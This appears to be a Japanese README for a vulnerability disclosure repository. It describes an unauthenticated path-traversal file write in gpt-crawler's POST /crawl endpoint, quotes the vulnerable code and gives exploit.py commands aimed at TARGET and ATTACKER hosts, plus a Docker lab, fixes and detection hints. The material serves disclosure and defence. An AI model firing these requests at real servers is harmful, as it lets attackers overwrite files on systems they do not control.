
CVE-2026-82286 — gpt-crawler <=1.5.1 は、outputFileName(POST /crawl)を介した認証不要の任意ファイル書き込みが可能です。PoC + 自己完結型Dockerラボ。CVSS 8.6、CWE-22。
BuilderIO/gpt-crawler(約22k ★)における、POST /crawl API エンドポイントの outputFileName パラメータを介した認証なし任意ファイル書き込みの概念実証です。
| CVE | CVE-2026-82286 |
| 製品 | gpt-crawler (BuilderIO) |
| 影響を受けるバージョン | <= 1.5.1(最新リリース、デフォルトブランチのHEADも影響あり) |
| クラス | パストラバーサル / 任意ファイル書き込み (CWE-22, CWE-73) |
| CVSS 3.1 | 8.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (HIGH) |
| 認証 | なし(認証不要) |
| 前提条件 | APIサーバーモードで実行中(npm run start:server) |
| ステータス | 確認済み エンドツーエンド(2026-08-29時点で未パッチ) |
APIサーバー(src/server.ts)は認証なしで POST /crawl を公開しています。JSONボディはクローラーの Config に直接パースされ、outputFileName は z.string() としてのみ検証されます — パスに関する制約はありません:
// src/config.ts
outputFileName: z.string(),
src/core.ts の write() は、攻撃者が制御するその文字列から出力パスを直接構築し、fs.writeFile() を呼び出します:
// src/core.ts (write)
const nextFileName = (): string =>
`${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));
したがって、リモートの認証なし攻撃者は、意図された storage/ 出力領域の外に書き込まれるファイルの完全なパスを制御できます — 絶対パス(/tmp/x、/home/<user>/x)または ../ トラバーサルを使用します。ファイルの内容はクロール結果 [{title,url,html}] であり、そのフィールドは攻撃者がクローラーを誘導したページ(url を自分が管理するサーバーに設定)に由来するため、内容は攻撃者の影響を受けます。
唯一の制約は、強制される -<N>.json サフィックス(名前は常に .json で終わる)とJSON配列の内容ラッパーです — これが、完全なRCEではなく任意ファイル書き込み(I:H)としてスコアリングされる理由です。
python3 exploit.py \
-t http://TARGET:3000 \
-u http://ATTACKER:8081/index.html \ # 書き込まれるファイルに含まれるページのコンテンツ
-o /home/myuser/PWNED # -> /home/myuser/PWNED-1.json を書き込む
エンドポイントは、書き込まれたファイルの内容をHTTPレスポンスに反映します。実証的な証明は、ターゲットのファイルシステム上の攻撃者が選択したパスにファイルが出現することです(EVIDENCE.txt を参照)。
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json # <- storage/ の外に認証なしで書き込まれる
後片付け: docker rm -f gptc-vuln; pkill -f 'http.server 8081'。
認証なしのネットワーク攻撃者は、部分的に攻撃者が制御する内容で、任意のパスにファイルを作成または上書きできます(プロセスユーザーの権限と -<N>.json サフィックスの制約を受けます)。デプロイ環境によっては、設定ファイルやデータファイルの改ざん、アプリケーション状態の破壊(完全性/可用性)、および後で書き込まれた *.json ファイルを消費するターゲットでは、さらに連鎖攻撃が可能になります。
このシンクはAPIサーバーモード(src/server.ts、npm run start:server / containerapp デプロイで起動)でのみ到達可能であり、デフォルトのCLIモードでは到達できません。サーバーは API_HOST(デフォルトは localhost)にバインドされます。APIを公開する実際のデプロイでは 0.0.0.0 に設定されるため(containerapp イメージがそうしているように)、エンドポイントはリモートから到達可能になります。
outputFileName を固定のベースディレクトリに対して解決し、結果がそこから外れる場合は拒否する(path.resolve(base, name) + プレフィックスチェック)。.. と絶対パスを除去する。POST /crawl に認証/認可を追加する。outputFileName に /、\、または .. を含む POST /crawl ボディ、およびクローラーの storage/ ディレクトリ外に出現する *-1.json ファイルを探します。
研究およびPoC: Caio Fabrício (BiiTts)。